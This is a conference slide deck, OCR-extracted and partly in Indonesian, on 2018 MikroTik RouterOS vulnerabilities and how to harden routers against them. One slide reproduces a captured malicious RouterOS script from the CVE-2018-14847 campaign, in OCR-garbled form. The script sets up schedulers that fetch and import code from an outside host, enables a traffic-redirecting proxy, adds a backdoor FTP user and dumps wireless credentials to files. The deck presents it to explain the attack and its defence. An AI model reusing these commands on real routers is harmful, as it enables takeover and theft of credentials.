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RouterOS Vulnerabilities in 2018

CVE-2018-1156

CVE-2018-1157

CVE-2018-1158

CVE-2018-1159

CVE-2018-7445

CVE-2018-14847

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to stack buffer overflow
through the license upgrade interface. This vulnerability could theoretically allow a
remote authenticated attacker execute arbitrary code on the system.

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a memory exhaustion
vulnerability. An authenticated remote attacker can crash the HTTP server and in some
circumstances reboot the system via a crafted HTTP POST request.

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a stack exhaustion
vulnerability. An authenticated remote attacker can crash the HTTP server via
recursive parsing of JSON.

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a memory corruption
vulnerability. An authenticated remote attacker can crash the HTTP server by rapidly
authenticating and disconnecting.

A buffer overflow was found in the MikroTik RouterOS SMB service when processing
NetBIOS session request messages. Remote attackers with access to the service can
exploit this vulnerability and gain code execution on the system. The overflow occurs
before authentication takes place, so it is possible for an unauthenticated remote
attacker to exploit it. All architectures and all devices running RouterOS before
versions 6.41.3/6.42rc27 are vulnerable.

Winbox for MikroTik RouterOS through 6.42 allows remote attackers to bypass
authentication and read arbitrary files by modifying a request to change one byte
related to a Session ID.



CVE-2018-14847

Thousands of MikroTik Routers Hacked Reported abOUt d Widespread CryptO-

E)Eavesdropoan Network Traffic mining malware Campaign that
hijacked over 200,000 MikroTik routers
T using a previously disclosed

MkroTik vulnerability rgvealed in the CIA Vault 7
leaks. Now Chinese security
researchers at Qihoo 360 Netlab have
st ot wereperted ot aidspreadpio i discovered that out of 370,000
potentially vulnerable MikroTik
~ routers, more than 7,500 devices have
e Bl ~'been compromised to enable Socks4

- proxy maliciously, allowing attackers
~ toactively eavesdrop on the targeted
-~ network traffic since mid-July.




J1p proxy set enabledeyes
Jip proxy access add actionsdeny disabled=no CVE-2018-14847
Jip firewall nat remove [find comment=sysadminpxy]

Jip firewall nat add disabled=no chainzdstnat protecol=tcp dst-port=H8 src-address-list=10k actionzredirect to-ports=8000 cor
Jip firewall nat move [find comment=sysadminpxy] destination=8

Jip firewall filter remove [find commentssysadminpuy)

Jip firewall filter add disabled=no chain=input protocol=tcp dst.-port=8080 action=add.src-to-address-list address-list=0k ad:

Jip dnas set servers=8.8.8.8

Jip service set waw disabledsyes port:89
Jp service set winbox disabledsno ports8291
Jip service set ftp disabled=no port=21

Jip service set ssh disabled=no port=22

Jsysten scheduler remove [find Mtoll!i

Jsysten scheduler remove [find namesAutolld
Jsysten scheduler remove [find name=Autolls
Jsysten scheduler remove [find nane=Autolls)
Jsysten scheduler remove [Find name=updill)
Jsysten scheduler remove [find name=updiid

Jsysten scheduler remove [find nameeupdlls

Jsysten scheduler remove [find name=updlils)

Jsysten scheduler add name="Autoll13” start-time=01:30:00 interval=1d on-event="/systen backup save dont-encrypl=yes name=bfy!
sitive, salff ssh, telnet, test, webd winbox, wite

Jsysten scheduler add name«"Autoll14” start-time«81:41:00 intervaleld on-event«"/file remove nt.auto.rsc\r\n/file remove nt.an
11.ext\r\n/file remove snll2.txt\r\n/file remove salld.txt® policy=api,ftp,local,password,policy,read, reboot, sensitive, sniff,
Jsysten scheduler add name="2utol15" start-time=01:42:00 interval=1d on-event="/systen scheduler remove [find namez2utol13]\
scheduler remove [find namezAgtol15]" policy=api,ftp,local password , policy, read, reboot sensitive, sniff ssh telnet, test web, wi

Jsysten scheduler add names"wpdil)” intervalsith oa-events”® /tool fetch wrlshttp://mingl.con/81/error.htal modeshttp dst.path:
read, reboot  sensitive, sniff ssh telnet, test, web, winbox write

Jsysten scheduler add name="upd114” interval=135h on-event="/tool fetch wrizhttp://mindl.con/01/error. htnl mode=htty dst-path:
olicy,read reboot  sensitive, salff ssh, telnet, test web, winbox write

Jsystem scheduler add names="wpdi115” Interval=9h on-event="/tool fetch urlshttp://mind1.con/01/ullld.rsc modeshttp® policy=apt
telnet, test web winbox write

:delay Ss

Jsysten scheduler add name="upd116" Interval=9h on-event="/Import ulls.rsc”™ policy=apl,ftp,local password, policy, read, reboot,

Juser remove [find nane=fty)

Juser group remove [find name«ftpgroupe)

Juser group add name=ftpgroupe policy="ftp,read”
Juser »8d name=fty password=ftu group=ftpgroupe
Jip clowd set ddns-enabled=yes

Jsystem routerboard print filessniil

Jinterface wireless security print fileesnili2
finterface wireless print filessnil)



CVE-2018-14847

Authentication Bypass

* Allows remote attackers to bypass authentication
and read arbitrary files by modifying a request to
change one byte related to a Session ID.

* Utilized to large-scale coin-mining campaign.
* Usually, web service disabled, and proxy enabled.

* Scheduled fetch to download and change
error.html page.

* HTTP traffic transparently redirected to web
proxy, and error page trigger coin-mining script.



How to protect?

Username and password is not

strong enough!

* Upgrade to patched version

* Protect all services, accessible only from trusted IP
addresses

* Protect DNS and web proxy

e |If we need to access router from mobile:
* Use VPN
 Use door knocking firewall mechanism

* Protect internal network



Upgrade to newest version

W | Check For Updates Enable Disable Uninstall || Unschedule || Downgrade
Marne 4 |Wersion Build Tirme Scheduled
Sicalea 6.45.4 Ockf1712018 06:37:48
& aps 6.43.4 Ockf17/2018 06:37:48
& cd $ 57
=L Check For Updates
& mulkig
Sntp Channel: ¥
& openf
Sroute| 1neralled Yersion: |6.43.4
& an
&idy  Latest Yersion: 6.43.4
& ha
et Twhat's new in 6.43.4 (2015-Ock-17 06:37): -
=1
&pa | Changes in this release:
Siro
T *) bridge - do nat learn untagged frames when filkering only tagged packets;
* bridge - fixed possible memory leak when YLAN Filkering is used;




Protect Services

1. Disable unused services

IP Service Lisk IP Service Lisk

4 x TI Firn
lName £ |Pnrt Available From |"' lName £ |Pnrt Available From |"'
........... PAP o BTER e A | ®api 8728
@ api-ssl| a7z9 w @ api-ss a7z29
@ ftp 21 % @ftp 21
@ ssh z2z @ ssh z2z
@ kelnet 23 % Ekelnet 23
@ winbox gz91 @ winbox gz91
LE BTN an AR TTTETIE al
& ppp-sg| 4473 b4 & ppp-sg| 4473
. » . »
a8 ikems 8 ikems (1 selected)




Protect Services

2. Change default services port number
3. Set allowed IP

IP Service <ssh>

Mame: ssh

Parkt: (2244

Available From: (192.168.0.0)24

1 4

10,10.20,0/24




Protect DNS and webproxy

e Use firewall filter

* Drop traffic, based on : protocol, dst-port, in-
interface, chain=input

/ip firewall filter

add protocol=udp dst-port=53 in-interface=[WAN]
chain=input action=drop

add protocol=tcp dst-port=53 in-interface=[WAN]
chain=input action=drop

add protocol=tcp dst-port=8080 in-interface=[WAN]
chain=input action=drop



When you are mobile

* Use VPN, to keep IP address always the same

* Or you may use port knocking to open access
from new IP address




Port Knocking (tcp100-200-300)

/ip firewall filter
add chain=input src—address—list=trusted action=accept

add chain=input protocol=tcp dst—port=100
action=add-src-to—-address—1list address—list=stepl
address—list—-timeout=60

add chain=input protocol=tcp dst—port=200
src=address—list=stepl address—-list—-timeout=60
action=add-src-to—-address—1list address—-list=step2

add chain=input protocol=tcp dst—port=300
src=address—list=step2 address—-list-timeout=3600
action=add-src-to—address—-1list address-list=trusted

add chain=input protocol=tcp in-interface=[WAN]
dst-port=8728,8729,21,22,23,8291,80,443
action=drop



Port Knocking (tcp100-200-300)

/ip firewall filter
add chain=input src—address—list=trusted action=accept

add chain=input protocol=tcp dst—port=100
action=add-src-to—-address—1list address—list=stepl
address—list—-timeout=60

add chain=input protocol=tcp dst—port=200
src=address—list=stepl address—-list—-timeout=60
action=add-src-to—-address—1list address—-list=step2

add chain=input protocol=tcp dst—port=300
src=address—list=step2 address—-list-timeout=3600
action=add-src-to—address—-1list address-list=trusted

add chain=input protocol=tcp in-interface=[WAN]
dst-port=8728,8729,21,22,23,8291,80,443
action=drop



Port Knocking (tcp100-200-300)

/ip firewall filter
add chain=input src—address—list=trusted action=accept

add chain=input protocol=tcp dst—port=100
action=add-src-to—-address—1list address—list=stepl
address—list—-timeout=60

add chain=input protocol=tcp dst—port=200
src=address—list=stepl address—-list—-timeout=60
action=add-src-to—-address—1list address—-list=step2

"add chain=input protocol=tcp dst-port=3¢0¢
src=address—list=step2 address—-list-timeout=3600
action=add-src-to-address-1ist address-list=trusted

add chain=input protocol=tcp in-interface=[WAN]
dst-port=8728,8729,21,22,23,8291,80,443
action=drop



Port Knocking (tcp100-200-300)

/ip firewall filter
add chain=input src—address—list=trusted action=accept

add chain=input protocol=tcp dst—port=100
action=add-src-to—-address—1list address—list=stepl
address—list—-timeout=60

add chain=input protocol=tcp dst—port=200
src=address—list=stepl address—-list—-timeout=60
action=add-src-to—-address—1list address—-list=step2

add chain=input protocol=tcp dst—port=300
src=address—list=step2 address—-list-timeout=3600
action=add-src-to—address—-1list address-list=trusted

“add chain=input protocol=tcp in-interface=[WAN]
dst-port=8728,8729,21,22,23,8291,80,443
action=drop



Port Knocking (tcp100-200-300)

/ip firewall filter
add chain=input src—address—list=trusted action=accept

add chain=input protocol=tcp dst—port=100
action=add-src-to—-address—1list address—list=stepl
address—list—-timeout=60

add chain=input protocol=tcp dst—port=200
src=address—list=stepl address—-list—-timeout=60
action=add-src-to—-address—1list address—-list=step2

add chain=input protocol=tcp dst—port=300
src=address—list=step2 address—-list-timeout=3600
action=add-src-to—address—-1list address-list=trusted

add chain=input protocol=tcp in-interface=[WAN] i
dst-port=8728,8729,21,22,23,8291,80,443 I
action=drop !



Protecting the network

Chain=input

1

&




Protecting the network

* Jika internal network menggunakan IP private,
secara otomatis local network kita sudah
terlindungi dari serangan dari luar.

* Tapi, jika network menggunakan IP publik, maka
perlu dilakukan perlindungan.

/ip firewall filter

add protocol=tcp
dst-port=8728,8729,21,22,23,8291,80,443
in—-interface=[WAN] chain=forward action=drop



Protecting the network

@

| Chain=forward




Port Knocking (tcp100-200-300)

Untuk melindungi jaringan di bawah router

/ip firewall filter

add chain=forward src-address-list=trusted
action=accept

add chain=forward protocol=tcp dst—-port=100
action=add-src-to—-address—1list address—list=stepl
address—list-timeout=60

add chain=forward protocol=tcp dst—-port=200
src=address—list=stepl address—-list-timeout=60
action=add-src-to—-address—-1list address-list=step2

add chain=forward protocol=tcp dst-port=300
src=address—-list=step2 address—-list-timeout=3600
action=add-src-to—-address—-1list address—list=trusted

add chain=forward protocol=tcp in-interface=[WAN]
dst-port=8728,8729,21,22,23,8291,80,443
action=drop



Port Knocking (ping678)

Untuk melindungi jaringan di bawah router

/ip firewall filter

add chain=forward src-address-list=trusted
action=accept

add chain=forward protocol=icmp in-interface=[WAN]
packet-size=678 address—list—-timeout=3600
action=add-src-to—address—-1list address—list=trusted

add chain=forward protocol=tcp in-interface=[WAN]
dst-port=8728,8729,21,22,23,8291,80,443
action=drop



Spesial di MUM-ID 2018
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Thank You () DO
Comments and suggestions:

-
=
@ @mikrotik id (@valensriyadi

info@mikrotik.co.id

Mikrotik Indonesia

This license lets others remix, tweak, and build upon your work even for commercial purposes,
as long as they credit you and license their new creations under the identical terms. This license
is often compared to “copyleft” free and open source software licenses. All new works based on
yours will carry the same license, so any derivatives will also allow commercial use.



